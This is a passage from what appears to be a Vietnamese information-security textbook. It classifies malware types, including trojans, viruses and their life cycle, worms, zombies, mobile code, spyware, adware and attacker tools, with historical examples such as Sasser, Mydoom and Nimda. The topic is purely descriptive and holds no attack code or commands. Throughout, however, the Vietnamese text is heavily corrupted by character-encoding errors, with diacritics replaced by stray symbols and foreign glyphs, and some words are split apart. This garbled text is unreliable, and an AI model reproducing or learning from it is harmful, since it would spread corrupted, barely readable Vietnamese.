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1.2.1.3 Trojan Horses 

Trojan Horse l¨ loӴi m« Ľ֥c hӴi ĽҼ֯c ĽԊt theo sֽ t²ch ñNgֽa thành 

Troyò. Trojan horse kh¹ng c· khӶ nŁng tֽ nh©n bӶn tuy nhi°n n· l©y v¨o 

h֓ th֝ng v֧i biԜu hi֓n rӸt b³nh thҼ֩ng nhҼng thֽc chӸt b°n trong c· Ӽn 

chֵa c§c ĽoӴn m« v֧i mֱc Ľ²ch g©y hӴi. Trojan c· thԜ g©y hӴi theo ba 

cách sau: 

TiԒp tֱc thֽc thi c§c chֵc nŁng cֳa chҼҺng tr³nh m¨ n· b§m v¨o, 

b°n cӴnh Ľ· thֽc thi c§c hoӴt Ľ֥ng g©y hӴi m֥t c§ch ri°ng bi֓t (v² dֱ 

nhҼ gֹi m֥t tr¸ chҺi dֱ cho ngҼ֩i d½ng sֹ dֱng, b°n cӴnh Ľ· l¨ m֥t 

chҼҺng tr³nh Ľ§nh cԂp password). 

TiԒp tֱc thֽc thi c§c chֵc nŁng cֳa chҼҺng tr³nh m¨ nó bám vào, 

nhҼng sֹa Ľ֡i m֥t s֝ chֵc nŁng ĽԜ g©y t֡n hӴi (v² dֱ nhҼ m֥t trojan giӶ 

lԀp m֥t cֹa s֡ login ĽԜ lӸy password) hoԊc che dӸu c§c h¨nh Ľ֥ng ph§ 

hoӴi khác (v² dֱ nhҼ trojan che dӸu cho c§c tiԒn tr³nh Ľ֥c hӴi kh§c bԄng 

c§ch tԂt c§c hiԜn th֗ cֳa h֓ th֝ng). 

Thֽc thi lu¹n m֥t chҼҺng tr³nh g©y hӴi bԄng c§ch n¼p dҼ֧i danh 

m֥t chҼҺng tr³nh kh¹ng c· hӴi (v² dֱ nhҼ m֥t trojan ĽҼ֯c gi֧i thi֓u nhҼ 

l¨ m֥t ch¸ chҺi hoԊc m֥t tool tr°n mӴng, ngҼ֩i d½ng ch֕ cӺn k²ch hoӴt 

file n¨y l¨ lԀp tֵc dֻ li֓u tr°n PC sԐ b֗ xo§ hԒt). 

C· 7 loӴi trojan ch²nh: 

Trojan truy cԀp tַ xa: ņҼ֯c thiԒt kԒ ĽԜ cho kԎ tӸn c¹ng c· khӶ 

nŁng tַ xa chiԒm quyԚn ĽiԚu khiԜn cֳa m§y b֗ hӴi. C§c trojan n¨y 

thҼ֩ng dӸu v¨o c§c tr¸ chҺi v¨ c§c chҼҺng tr³nh nh֛ l¨m cho ngҼ֩i 

d½ng mӸt cӶnh gi§c. 

Trojan gֹi dֻ li֓u: N· thֽc hi֓n vi֓c lӸy v¨ gֹi dֻ li֓u nhӴy cӶm 

nhҼ mԀt khӼu, th¹ng tin thԎ t²n dֱng, c§c t֓p nhԀt kĨ, Ľ֗a ch֕ emailé 

cho kԎ tӸn c¹ng. Trojan n¨y c· thԜ t³m kiԒm cֱ thԜ th¹ng tin hoԊc c¨i 

phӺn mԚm Ľ֙c tr֥m b¨n ph²m v¨ gֹi to¨n b֥ c§c ph²m bӸm vԚ cho kԎ 

tӸn c¹ng. 

Trojan hֳy hoӴi: Thֽc hi֓n vi֓c x·a c§c t֓p tin. LoӴi trojan n¨y 

gi֝ng v֧i virus v¨ thҼ֩ng c· thԜ b֗ ph§t hi֓n b֫i c§c chҼҺng tr³nh di֓t 

virus. 
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Trojan kiԜu proxy: Sֹ  dֱng m§y t²nh b֗ hӴi l¨m proxy, qua Ľ· c· 

thԜ sֹ dֱng m§y b֗ hӴi ĽԜ thֽc hi֓n c§c h¨nh vi lַa gӴt hay Ľ§nh ph§ c§c 

máy tính khác. 

Trojan FTP: ņҼ֯c thiԒt kԒ ĽԜ m֫ c֡ng 21 v¨ cho ph®p tin tԊc kԒt 

n֝i v¨o m§y b֗ hӴi sֹ dֱng FTP. 

Trojan tԂt phӺn mԚm an ninh: Thֽc hi֓n vi֓c dַng hoԊc x·a b֛ 

chҼҺng tr³nh an ninh nhҼ phӺn mԚm ch֝ng virus hay tҼ֩ng lֹa m¨ 

ngҼ֩i d½ng kh¹ng nhԀn ra. 

Trojan DoS: ņҼ֯c sֹ dֱng trong c§c cu֥c tӸn c¹ng tַ ch֝i d֗ch 

vֱ. V² dֱ c§c con bot sֹ dֱng trong DDoS cȈng c· thԜ coi l¨ m֥t loӴi 

trojan. 

V² dֱ trojan c· t°n Zeus, Clampi Ľ« mang vԚ cho t֥i phӴm h¨ng 

tri֓u USD bԄng c§ch ghi lӴi th¹ng tin t¨i khoӶn ĽԜ l¨m thԎ giӶ hoԊc 

chuyԜn tiԚn v¨o t¨i khoӶn cֳa m֥t b°n trung gian - g֙i l¨ Mule. Mule 

sau Ľ· ĽҼ֯c trӶ c¹ng ĽԜ ĽӶm nhԀn vi֓c gֹi tiԚn ra nҼ֧c ngo¨i. Mule 

ĽҼ֯c thu° th¹ng qua c§c trang t³m kiԒm vi֓c l¨m v¨ h֙ kh¹ng hԚ biԒt 

rԄng s֝ tiԚn h֙ nhԀn gֹi Ľi l¨ bӸt h֯p ph§p. 

1.2.1.4 Virus 

Virus l¨ m֥t loӴi m« Ľ֥c hӴi c· khӶ nŁng tֽ nh©n bӶn v¨ l©y 

nhi֑m ch²nh n· v¨o c§c file, chҼҺng tr³nh hoԊc m§y t²nh. Virus phӶi 

lu¹n b§m v¨o vԀt chֳ( c· thԜ l¨ file dֻ li֓u hoԊc file ֵng dֱng ) ĽԜ l©y 

lan. C§c chҼҺng tr³nh di֓t virus dֽa v¨o ĽԊc t²nh n¨y ĽԜ thֽc thi vi֓c 

ph¸ng ch֝ng  v¨ di֓t virus, ĽԜ qu®t c§c file tr°n c§c thiԒt b֗ lҼu trֻ, qu®t 

c§c file trҼ֧c khi lҼu xu֝ng ֡ cֵng. V³ vԀy Ľ¹i khi c§c phӺn mԚm di֓t 

virus tӴi PC ĽҼa th¹ng b§o ñph§t hi֓n nhҼng kh¹ng di֓t ĽҼ֯cò khi thӸy 

c· c§c dӸu hi֓u hoӴt Ľ֥ng cֳa virus tr°n PC v³ ñvԀt mang virusò lӴi nԄm 

tr°n m֥t m§y kh§c n°n kh¹ng thԜ thֽc thi vi֓c x·a ĽoӴn m« Ľ֥c Ľ·. 

Virus c· thԜ l¨m bӸt cֵ vi֓c g³ m¨ c§c chҼҺng tr³nh kh§c c· thԜ 

làm. Virus ch֕ kh§c ֫ ĽiԜm n· tֽ Ľ²nh k¯m n· t֧i m֥t chҼҺng tr³nh v¨ 

thֽc thi b² mԀt khi chҼҺng tr³nh mang virut ĽҼ֯c thֽc thi. Khi virus 

ĽҼ֯c thֽc thi n· c· thԜ l¨m bӸt kȢ vi֓c g³ tr°n h֓ th֝ng nhҼ x·a file, 

chҼҺng tr³nh. V¸ng Ľ֩i virus g֟m 4 giai ĽoӴn: 
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Dormant (nԄm im): Trong giai ĽoӴn n¨y virut kh¹ng l¨m g³ cho 

ĽԒn khi ĽҼ֯c k²ch hoӴt b֫i m֥t ai Ľ· hay m֥t sֽ ki֓n n¨o Ľ·. 

Propagation (lây lan): Trong giai ĽoӴn n¨y virus thֽc hi֓n vi֓c 

copy ch²nh n· t֧i c§c chҼҺng tr³nh, v֗ tr² kh§c trong ֡ Ľǫa. 

Triggering: Trong giai ĽoӴn n¨y virus ĽҼ֯c k²ch hoӴt ĽԜ thֽc thi 

chֵc nŁng cֳa nó. 

Execution: Chֵc nŁng cֳa virus ĽҼ֯c thֽc thi. Chֵc nŁng c· thԜ 

l¨ v¹ hӴi nhҼ gֹi m֥t th¹ng Ľi֓p n¨o Ľ· t֧i m¨n h³nh, hoԊc m֥t chֵc 

nŁng c· hӴi nhҼ ph§ hֳy c§c chҼҺng tr³nh, c§c file h֓ th֝ng. 

Virut g֟m 7 loӴi chính 

 

Hình 1-6  Ph©n loӴi virus 

Memory ï resident virus: CҼ tr¼ rong b֥ nh֧ ch²nh nhҼ l¨ m֥t 

phӺn cֳa chҼҺng tr³nh h֓ th֝ng. Theo Ľ· virus sԐ g©y Ӷnh hҼ֫ng m֣i 

khi chҼҺng tr³nh ĽҼ֯c thֽc thi. 

Program file virus: G©y Ӷnh hҼ֫ng ĽԒn c§c file chҼҺng tr³nh nhҼ 

exe/com/sys.    

 

Hình 1-7  M¹ tӶ virus l©y file 

Polymorphic virus( virut Ľa h³nh): LoӴi virut n¨y tֽ thay Ľ֡i h³nh 

thֵc cֳa n·, g©y kh· khŁn cho c§c chҼҺng tr³nh anti-virus. Virus 

ñTequillaò l¨ loӴi virus Ľa h³nh ĽӺu ti°n xuӸt hi֓n nŁm 1991.  
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Boot Sector virus: L¨ loӴi virut ĽӺu ti°n tr°n thԒ gi֧i ĽҼ֯c ph֡ 

biԒn r֥ng r«i v¨ ĽҼ֯c viԒt v¨o nŁm 1986. Boot virut l֯i dֱng tiԒn tr³nh 

boot cֳa m§y t²nh ĽԜ thֽc hi֓n vi֓c k²ch hoӴt m³nh. Khi m§y t²nh ĽҼ֯c 

kh֫i Ľ֥ng, n· lu¹n t³m ĽԒn master boot record ĽҼ֯c lҼu trֻ tӴi Ľ֗a ch֕ 

head 0, track 0, sector 1 ĽԜ Ľ֙c th¹ng tin. Boot Sector virus l©y lan sang 

Ľǫa cֵ ng khi kh֫ i Ľn֥g h֓  th n֝g tַ  Ľǫa mԚm b֗  nhi֑ m. 

Stealth virus: ņ©y l¨ loӴi virus c· khӶ nŁng tֽ che dӸu kh¹ng ĽԜ 

cho h֓ ĽiԚu h¨nh v¨ phӺn mԚm ch֝ng virus biԒt. N· nԄm trong b֥ nh֧ 

ĽԜ ngŁn chԊn sֹ dֱng h֓ ĽiԚu h¨nh v¨ che dӸu nhֻng thay Ľ֡i vԚ k²ch 

thҼ֧c c§c tԀp tin. Nhֻng virus n¨y ch֕ b֗ ph§t hi֓n khi ch¼ng c¸n ֫ trong 

b֥ nh֧. C· nhiԚu boot sector virus c· khӶ nŁng Stealth. V² dֱ virus "The 

Brainò ĽҼ֯c tӴo ra tӴi Pakistan b֫i Basit v¨ Amjad. ChҼҺng tr³nh n¨y 

nԄm trong phӺn kh֫i Ľ֥ng (boot sector) cֳa m֥t Ľǫa mԚm 360Kb v¨ n· 

sԐ l©y nhi֑m tӸt cӶ c§c ֡ Ľǫa mԚm. ņ©y l¨ loӴi "stealth virus" ĽӺu ti°n. 

Macro virus: L¨ tԀp l֓nh ĽҼ֯c thֽc thi b֫i m֥t ֵng dֱng n¨o Ľ·. 

Macro virus ph֡ biԒn trong c§c ֵng dֱng Microsoft Office khi tԀn dֱng 

khӶ nŁng kiԜm so§t vi֓c tӴo v¨ m֫ file ĽԜ thֽc thi v¨ l©y nhi֑m. V² dֱ: 

virus Baza, Laroux  v¨ m֥t s֝ virus Staog xuӸt hi֓n nŁm 1996 tӸn c¹ng 

c§c file trong h֓ ĽiԚu h¨nh Windows 95, chҼҺng tr³nh bӶng t²nh Excel v¨ 

cӶ Linux.  

Virus Melisa cȈng l¨ m֥t trong nhֻng Macro virus n֡i tiԒng.  

Email virus: L¨ nhֻng virus ĽҼ֯c ph§t t§n qua thҼ Ľi֓n tֹ. V² dֱ 

virus Melissa ĽҼ֯c Ľ²nh k¯m trong thҼ Ľi֓n tֹ. NԒu ngҼ֩i d½ng m֫ file 

Ľ²nh k¯m Macro ĽҼ֯c k²ch hoӴt sau Ľ· email virus n¨y tֽ Ľ֥ng gֹi 

ch²nh n· t֧i tӸt cӶ nhֻng h¸m thҼ c· trong danh s§ch thҼ cֳa ngҼ֩i Ľ·.  

1.2.1.5 Worms 

Worm l¨ chҼҺng tr³nh Ľ֥c hӴi c· khӶ nŁng tֽ nh©n bӶn v¨ tֽ l©y 

nhi֑m trong h֓ th֝ng m¨ kh¹ng cӺn file chֳ ĽԜ mang n· khi nhi֑m v¨o 

h֓ th֝ng. NhҼ vԀy Worm kh¹ng b§m v¨o m֥t file hoԊc m֥t v½ng n¨o Ľ· 

tr°n Ľǫa cֵng, v³ vԀy kh¹ng thԜ d½ng c§c chҼҺng tr³nh qu®t file ĽԜ di֓t 

Worm.  

Mֱc ti°u cֳa Worm l¨ l¨m l«ng ph² bŁng th¹ng cֳa mӴng, ph§ 

hoӴi h֓ th֝ng nhҼ x·a file, tӴo back door, thӶ keyloggeré 
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TӸn c¹ng cֳa Worm c· ĽԊc trҼng l¨ lan r֥ng cֽc kȢ nhanh ch·ng 

do kh¹ng cӺn t§c dֱng cֳa con ngҼ֩i( nhҼ kh֫i Ľ֥ng m§y, copy file hay 

Ľ·ng/m֫ file). 

Worm c· thԜ chia l¨m 2 loӴi:  

Network Service Worm lan truyԚn bԄng c§ch l֯i dֱng c§c l֣ h֡ng 

bӶo mԀt cֳa mӴng, cֳa h֓ ĽiԚu h¨nh hoԊc cֳa ֵng dֱng.  

V² dֱ Sasser (W32.Sasser.Worm) bԂt ĽӺu l©y lan tr°n mӴng v¨o 

1/5/2004 c· thԜ tֽ Ľ֥ng l©y lan bӸt cֵ m§y t²nh n¨o kԒt n֝i internet. N· 

l֯i dֱng l֣ h֡ng bӶo mԀt Local Security Authority Subsystem Service 

(LSASS - l֣i n¨y Ľ« ĽҼ֯c Microsoft c¹ng b֝ v¨ ph§t h¨nh bӶn sֹa l֣i 

ngày 13-4-2004) ĽԜ tӸn c¹ng c§c m§y c¨i Windows 2000/ XP/ Server 

2003. 

Mass Mailing Worm l¨ m֥t dӴng tӸn c¹ng qua d֗ch vֱ mail, tuy 

nhi°n n· tֽ Ľ·ng g·i ĽԜ tӸn c¹ng v¨ l©y nhi֑m chֵ kh¹ng b§m v¨o vԀt 

chֳ l¨ email. Khi s©u n¨y l©y nhi֑m v¨o h֓ th֝ng, n· thҼ֩ng c֝ gԂng 

t³m kiԒm s֡ Ľ֗a ch֕ v¨ tֽ gֹi bӶn th©n n· ĽԒn c§c Ľ֗a ch֕ thu nhԊt ĽҼ֯c. 

Vi֓c gֹi Ľ֟ng th֩i cho to¨n b֥ c§c Ľ֗a ch֕ thҼ֩ng g©y qu§ tӶi cho mӴng 

hoԊc cho m§y chֳ mail.   

V² dֱ Mydoom l¨ m֥t trong nhֻng loӴi Worm khiԒn nhiԚu h֓ 

th֝ng m§y t²nh b֗ t° li֓t v¨ g©y thi֓t hӴi t¨i ch²nh l°n ĽԒn h¨ng tׁ Ľ¹la. 

1.2.1.6  Zombie 

Zombie l¨ chҼҺng tr³nh Ľ֥c hӴi b² mԀt li°n kԒt v֧i m֥t m§y t²nh 

kh§c ngo¨i internet ĽԜ nghe l֓nh tַ c§c m§y t²nh Ľ·. C§c Zombie thҼ֩ng 

sֹ dֱng trong c§c cu֥c tӸn c¹ng tַ ch֝i d֗ch vֱ DDoS ĽԜ tӸn c¹ng v¨o 

m֥t website n¨o Ľ·.  

KiԜu th¹ng dֱng nhӸt cֳa Zoombie l¨ c§c agent d½ng ĽԜ t֡ chֵc 

m֥t cu֥c tӸn c¹ng DDoS. KԎ tӸn c¹ng c· thԜ c¨i Zoombie v¨o m֥t s֝ 

lҼ֯ng l֧n c§c m§y t²nh r֟i ra l°nh tӸn c¹ng c½ng m֥t l¼c.  

V² dֱ Trinoo v¨ Tribe Flood Network l¨ hai Zoombie n֡i tiԒng 

ĽҼ֯c sֹ dֱng nhҼ c§c c¹ng cֱ ĽԜ thֽc hi֓n tӸn c¹ng DDoS. 
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1.2.2  Phân loӴi c aֳ NIST 

1.2.2.1 Virus 

V֧i c§ch Ľ֗nh nghǫa, ph©n loӴi n¨y, virus l¨ m֥t loӴi m« Ľ֥c hӴi 

(Maliciuos code) có khӶ nŁng tֽ nh©n bӶn v¨ l©y nhi֑m ch²nh n· v¨o c§c 

file, chҼҺng tr³nh hoԊc m§y t²nh. NhҼ vԀy virus m§y t²nh phӶi lu¹n lu¹n 

b§m v¨o m֥t vԀt chֳ (Ľ· l¨ file dֻ li֓u hoԊc file ֵng dֱng) ĽԜ l©y lan. 

C§c chҼҺng tr³nh di֓t virus dֽa v¨o ĽԊc t²nh n¨y ĽԜ thֽc thi vi֓c ph¸ng 

ch֝ng v¨ di֓t virus, ĽԜ qu®t c§c file tr°n thiԒt b֗ lҼu, qu®t c§c file trҼ֧c 

khi lҼu xu֝ng ֡ cֵngé ņiԚu n¨y cȈng giӶi th²ch v³ sao Ľ¹i khi c§c phӺn 

mԚm di֓t virus tӴi PC ĽҼa ra th¹ng b§o ñph§t hi֓n ra virus nhҼng kh¹ng 

di֓t ĽҼ֯cò khi thӸy c· dӸu hi֓u hoӴt Ľ֥ng cֳa virus tr°n PC, b֫i v³ ñvԀt 

mang virusò lӴi nԄm ֫ m§y kh§c n°n kh¹ng thԜ thֽc thi vi֓c xo§ ĽoӴn 

m« Ľ֥c hӴi Ľ·. 

Compiled Virus l¨ virus m¨ m« thֽc thi cֳa n· Ľ« ĽҼ֯c d֗ch ho¨n 

ch֕nh b֫i m֥t tr³nh bi°n d֗ch ĽԜ n· c· thԜ thֽc thi trֽc tiԒp tַ h֓ ĽiԚu 

h¨nh. C§c loӴi boot virus nhҼ (Michelangelo v¨ Stoned), file virus (nhҼ 

Jerusalem) rӸt ph֡ biԒn trong nhֻng nŁm 80 l¨ virus thu֥c nh·m n¨y, 

compiled virus cȈng c· thԜ l¨ pha tr֥n b֫i cӶ boot virus va file virus 

trong c½ng m֥t phi°n bӶn. 

 Interpreted Virus l¨ m֥t t֡ h֯p cֳa m« ngu֟n m« ch֕ thֽc thi 

ĽҼ֯c dҼ֧i sֽ h֣ tr֯ cֳa m֥t ֵng dֱng cֱ thԜ hoԊc m֥t d֗ch vֱ cֱ thԜ 

trong h֓ th֝ng. M֥t c§ch ĽҺn giӶn, virus kiԜu n¨y ch֕ l¨ m֥t tԀp l֓nh, 

cho ĽԒn khi ֵng dֱng g֙i th³ n· m֧i ĽҼ֯c thֽc thi. Macro virus, 

scripting virus l¨ c§c virus nԄm trong dӴng n¨y. Macro virus rӸt ph֡ biԒn 

trong c§c ֵng dֱng Microsoft Office khi tԀn dֱng khӶ nŁng kiԜm so§t 

vi֓c tӴo v¨ m֫ file ĽԜ thֽc thi v¨ l©y nhi֑m. Sֽ kh§c nhau giֻa macro 

virus và scripting virus là: Macro virus l¨ tԀp l֓nh thֽc thi b֫i m֥t ֵng 

dֱng cֱ thԜ, c¸n scripting virus l¨ tԀp l֓nh chӴy bԄng m֥t service cֳa h֓ 

ĽiԚu h¨nh. Melisa l¨ m֥t v² dֱ xuӸt sԂc vԚ Macro virus, Love Stages là 

v² dֱ cho scripting virus. 

1.2.2.2 Worm 

 Worm cȈng l¨ m֥t chҼҺng tr³nh c· khӶ nŁng tֽ nh©n bӶn v¨ tֽ l©y 

nhi֑m trong h֓ th֝ng tuy nhi°n n· c· khӶ nŁng ñtֽ Ľ·ng g·iò, ĽiԚu Ľ· c· 
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nghǫa l¨ Worm kh¹ng cӺn phӶi c· ñfile chֳò ĽԜ mang n· khi nhi֑m v¨o 

h֓ th֝ng. NhҼ vԀy, c· thԜ thӸy rԄng ch֕ d½ng c§c chҼҺng tr³nh qu®t file 

sԐ kh¹ng di֓t ĽҼ֯c Worm trong h֓ th֝ng v³ Worm kh¹ng ñb§mò v¨o 

m֥t file hoԊc m֥t v½ng n¨o Ľ· tr°n Ľǫa cֵng. Mֱc ti°u cֳa Worm bao 

g֟m cӶ l¨m l«ng ph² ngu֟n lֽc bŁng th¹ng cֳa mӴng v¨ ph§ hoӴi h֓ 

th֝ng nhҼ xo§ file, tӴo backdoor, thӶ keylogger,é TӸn c¹ng cֳa Worm 

c· ĽԊc trҼng l¨ lan r֥ng cֽc kȢ nhanh ch·ng do kh¹ng cӺn t§c Ľ֥ng cֳa 

con ngҼ֩i (nhҼ kh֫i Ľ֥ng m§y, copy file hay Ľ·ng/m֫ file). Worm c· 

thԜ chia l¨m 2 loӴi: 

Network Service Worm lan truyԚn bԄng c§ch l֯i dֱng c§c l֣ h֡ng bӶo 

mԀt cֳa mӴng, cֳa h֓ ĽiԚu h¨nh hoԊc cֳa ֵng dֱng. Sasser l¨ v² dֱ cho 

loӴi s©u n¨y. 

Mass Mailing Worm l¨ m֥t dӴng tӸn c¹ng qua d֗ch vֱ mail, tuy nhi°n 

n· tֽ Ľ·ng g·i ĽԜ tӸn c¹ng v¨ l©y nhi֑m chֵ kh¹ng b§m v¨o vԀt chֳ l¨ 

email. Khi s©u n¨y l©y nhi֑m v¨o h֓ th֝ng, n· thҼ֩ng c֝ gԂng t³m kiԒm 

s֡ Ľ֗a ch֕ v¨ tֽ gֹi bӶn th©n n· ĽԒn c§c Ľ֗a ch֕ thu nhԊt ĽҼ֯c. Vi֓c gֹi 

Ľ֟ng th֩i cho to¨n b֥ c§c Ľ֗a ch֕ thҼ֩ng g©y qu§ tӶi cho mӴng hoԊc cho 

m§y chֳ mail. Netsky, Mydoom l¨ v² dֱ cho thԜ loӴi n¨y. 

1.2.2.3 Trojan Horse 

 Là loӴi m« Ľ֥c hӴi ĽҼ֯c ĽԊt theo sֽ t²ch ñNgֽa th¨nh Troyò. Trojan 

horse kh¹ng tֽ nh©n bӶn tuy nhi°n n· l©y v¨o h֓ th֝ng v֧i biԜu hi֓n rӸt 

¹n ho¨ nhҼng thֽc chӸt b°n trong c· Ӽn chֻa c§c ĽoӴn m« v֧i mֱc Ľ²ch 

g©y hӴi. Trojan c· thԜ lֽa ch֙n m֥t trong 3 phҼҺng thֵc ĽԜ g©y hӴi: 

TiԒp tֱc thֽc thi c§c chֵc nŁng cֳa chҼҺng tr³nh m¨ n· b§m v¨o, b°n 

cӴnh Ľ· thֽc thi c§c hoӴt Ľ֥ng g©y hӴi m֥t c§ch ri°ng bi֓t (v² dֱ nhҼ gֹi 

m֥t tr¸ chҺi dֱ cho ngҼ֩i d½ng sֹ dֱng, b°n cӴnh Ľ· l¨ m֥t chҼҺng 

tr³nh Ľ§nh cԂp password) 

TiԒp tֱc thֽc thi c§c chֵc nŁng cֳa chҼҺng tr³nh m¨ n· b§m v¨o, 

nhҼng sֹa Ľ֡i m֥t s֝ chֵc nŁng ĽԜ g©y t֡n hӴi (v² dֱ nhҼ m֥t trojan giӶ 

lԀp m֥t cֹa s֡ login ĽԜ lӸy password) hoԊc che dӸu c§c h¨nh Ľ֥ng ph§ 

hoӴi khac (v² dֱ nhҼ trojan che dӸu cho c§c tiԒn tr³nh Ľ֥c hӴi kh§c bԄng 

c§ch tԂt c§c hiԜn th֗ cֳa h֓ th֝ng) 
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Thֽc thi lu¹n m֥t chҼҺng tr³nh g©y hӴi bԄng c§ch n¼p dҼ֧i danh m֥t 

chҼҺng tr³nh kh¹ng c· hӴi (v² dֱ nhҼ m֥t trojan ĽҼ֯c gi֧i thi֓u nhҼ l¨ 

m֥t ch¸ chҺi hoԊc m֥t tool tr°n mӴng, ngҼ֩i d½ng ch֕ cӺn k²ch hoӴt file 

n¨y l¨ lԀp tֵc dֻ li֓u tr°n PC sԐ b֗ xo§ hԒt) 

1.2.2.4 Malicious Mobile Code 

L¨ m֥t dӴng m« phӺn mԚm c· thԜ ĽҼ֯c gֹi tַ xa v¨o ĽԜ chӴy tr°n m֥t 

h֓ th֝ng m¨ kh¹ng cӺn ĽԒn l֩i g֙i thֽc hi֓n cֳa ngҼ֩i d½ng h֓ th֝ng Ľ·. 

Malicious Mobile Code ĽҼ֯c coi l¨ kh§c v֧i virus, worm ֫ ĽԊc t²nh l¨ 

n· kh¹ng nhi֑m v¨o file v¨ kh¹ng t³m c§ch tֽ ph§t t§n. Thay v³ khai 

th§c m֥t ĽiԜm yԒu bӶo mԀt x§c Ľ֗nh n¨o Ľ·, kiԜu tӸn c¹ng n¨y thҼ֩ng 

t§c Ľ֥ng ĽԒn h֓ th֝ng bԄng c§ch tԀn dֱng c§c quyԚn Ҽu ti°n ngӺm Ľ֗nh 

ĽԜ chӴy m« tַ xa. C§c c¹ng cֱ lԀp tr³nh nhҼ Java, ActiveX, JavaScript, 

VBScript l¨ m¹i trҼ֩ng t֝t cho Malicious mobile code. M֥t trong nhֻng 

v² dֱ n֡i tiԒng cֳa kiԜu tӸn c¹ng n¨y l¨ Nimda, sֹ dֱng JavaScript. 

KiԜu tӸn c¹ng n¨y cֳa Nimda thҼ֩ng ĽҼ֯c biԒt ĽԒn nhҼ m֥t tӸn c¹ng 

h֣n h֯p (Blended Atatck). Cu֥c tӸn c¹ng c· thԜ Ľi t֧i bԄng m֥t email 

khi ngҼ֩i d½ng m֫ m֥t email Ľ֥c bԄng web-browser. Sau khi nhi֑m v¨o 

m§y n¨y, Nimda sԐ c֝ gԂng sֹ dֱng s֡ Ľ֗a ch֕ email cֳa m§y Ľ· ĽԜ ph§t 

t§n t֧i c§c m§y kh§c. MԊt kh§c, tַ m§y Ľ« b֗ nhi֑m, Nimda c֝ gԂng qu®t 

c§c m§y kh§c trong mӴng c· thҼ mֱc chia sԎ m¨ kh¹ng bӶo mԀt, Nimda 

sԐ d½ng d֗ch vֱ NetBIOS nhҼ phҼҺng ti֓n ĽԜ chuyԜn file nhi֑m virus 

t֧i c§c m§y Ľ·. ņ֟ng th֩i Nimda c֝ gԂng d¸ qu®t ĽԜ ph§t hi֓n ra c§c 

m§y t²nh c· c¨i d֗ch vֱ IIS c· ĽiԜm yԒu bӶo mԀt cֳa Microsoft. Khi t³m 

thӸy, n· sԐ copy bӶn th©n n· v¨o server. NԒu m֥t web client c· ĽiԜm yԒu 

bӶo mԀt tҼҺng ֵng kԒt n֝i v¨o trang web n¨y, client Ľ· cȈng b֗ nhi֑m 

(lҼu Ĩ rԄng b֗ nhi֑m m¨ kh¹ng cӺn ñm֫ email b֗ nhi֑m virusò). Qu§ 

trình nhi֑m virus sԐ lan tr¨n theo cӸp s֝ nh©n. 

1.2.2.5 Tracking Cookie 

L¨ m֥t dӴng lӴm dֱng cookie ĽԜ theo d»i m֥t s֝ h¨nh Ľ֥ng 

duy֓t web cֳa ngҼ֩i sֹ dֱng m֥t c§ch bӸt h֯p ph§p. Cookie l¨ m֥t 

file dֻ li֓u chֵa th¹ng tin vԚ vi֓c sֹ dֱng m֥t trang web cֱ thԜ n¨o Ľó 

cֳa web-client. Mֱc ti°u cֳa vi֓c duy tr³ c§c cookie trong h֓ th֝ng 

m§y t²nh nhԄm cŁn cֵ v¨o Ľ· ĽԜ tӴo ra giao di֓n, h¨nh vi cֳa trang web 
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sao cho th²ch h֯p v¨ tҼҺng ֵng v֧i tַng web-client. Tuy nhiên tính 

nŁng n¨y lӴi b֗ lӴm dֱng ĽԜ tӴo th¨nh c§c phӺn mԚm gi§n Ľi֓p 

(spyware) nhԄm thu thԀp th¹ng tin ri°ng tҼ vԚ h¨nh vi duy֓t web cֳa c§ 

nhân. 

1.2.2.6 Ph nͭ mΖm gi§n ĽiΜp (Spyware) 

   L¨ loӴi phӺn mԚm chuy°n thu thԀp c§c th¹ng tin tַ c§c m§y chֳ (th¹ng 

thҼ֩ng v³ mֱc Ľ²ch thҼҺng mӴi) qua mӴng Internet m¨ kh¹ng c· sֽ nhԀn 

biԒt v¨ cho ph®p cֳa chֳ m§y. M֥t c§ch ĽiԜn h³nh, spyware ĽҼ֯c c¨i ĽԊt 

m֥t c§ch b² mԀt nhҼ l¨ m֥t b֥ phԀn k¯m theo cֳa c§c phӺn mԚm mi֑n 

phí (freeware) và phӺn mԚm chia sԎ (shareware) m¨ ngҼ֩i ta c· thԜ tӶi 

vԚ tַ Internet. M֥t khi Ľ« c¨i ĽԊt, spyware ĽiԚu ph֝i c§c hoӴt Ľ֥ng cֳa 

m§y chֳ tr°n Internet v¨ lԊng lԐ chuyԜn c§c dֻ li֓u th¹ng tin ĽԒn m֥t 

m§y kh§c (thҼ֩ng l¨ cֳa nhֻng h«ng chuy°n b§n quӶng c§o hoԊc cֳa 

các tin tԊc). PhӺn mԚm gi§n Ľi֓p cȈng thu thԀp tin tֵc vԚ Ľ֗a ch֕ thҼ Ľi֓n 

t ֹv¨ ngay cӶ mԀt khӼu cȈng nhҼ l¨ s֝ thԎ t²n dֱng. 

Kh§c v֧i worm v¨ virus, Spyware kh¹ng c· khӶ nŁng tֽ nh©n bӶn. 

1.2.2.7 Ph nͭ mΖm quͩ ng cáo (Adware) 

 PhӺn mԚm quӶng c§o, rӸt hay c· ֫ trong c§c chҼҺng tr³nh c¨i ĽԊt tӶi tַ 

tr°n mӴng. M֥t s֝ phӺn mԚm v¹ hӴi, nhҼng m֥t s֝ c· khӶ nŁng hiԜn th֗ 

thông tin lên m¨n h³nh, cҼ֭ng chԒ ngҼ֩i sֹ dֱng. 

1.2.2.8 Attacker Tool 

L¨ nhֻng b֥ c¹ng cֱ tӸn c¹ng c· thԜ sֹ dֱng ĽԜ ĽӼy c§c phӺn mԚm Ľ֥c 

hӴi v¨o trong h֓ th֝ng. C§c b֥ c¹ng cֱ n¨y c· khӶ nŁng gi¼p cho kԎ tӸn 

c¹ng c· thԜ truy nhԀp bӸt h֯p ph§p v¨o h֓ th֝ng hoԊc l¨m cho h֓ th֝ng 

b֗ l©y nhi֑m m« Ľ֥c hӴi. Khi ĽҼ֯c tӶi v¨o trong h֓ th֝ng bԄng c§c ĽoӴn 

m« Ľ֥c hai, Attacker tool c· thԜ ch²nh l¨ m֥t phӺn cֳa ĽoӴn m« Ľ֥c Ľ· 

(v² dֱ nhҼ trong m֥t trojan) hoԊc n· sԐ ĽҼ֯c tӶi v¨o h֓ th֝ng sau khi 

nhi֑m. V² dֱ nhҼ m֥t h֓ th֝ng Ľ« b֗ nhi֑m m֥t loӴi worm, worm n¨y 

c· thԜ ĽiԚu khiԜn h֓ th֝ng tֽ Ľ֥ng kԒt n֝i ĽԒn m֥t web-site n¨o Ľ·, tӶi 

attacker tool tַ site Ľ· v¨ c¨i ĽԊt Attacker tool v¨o h֓ th֝ng. Attacker 

tool thҼ֩ng gԊp l¨ backdoor v¨ keylogger 

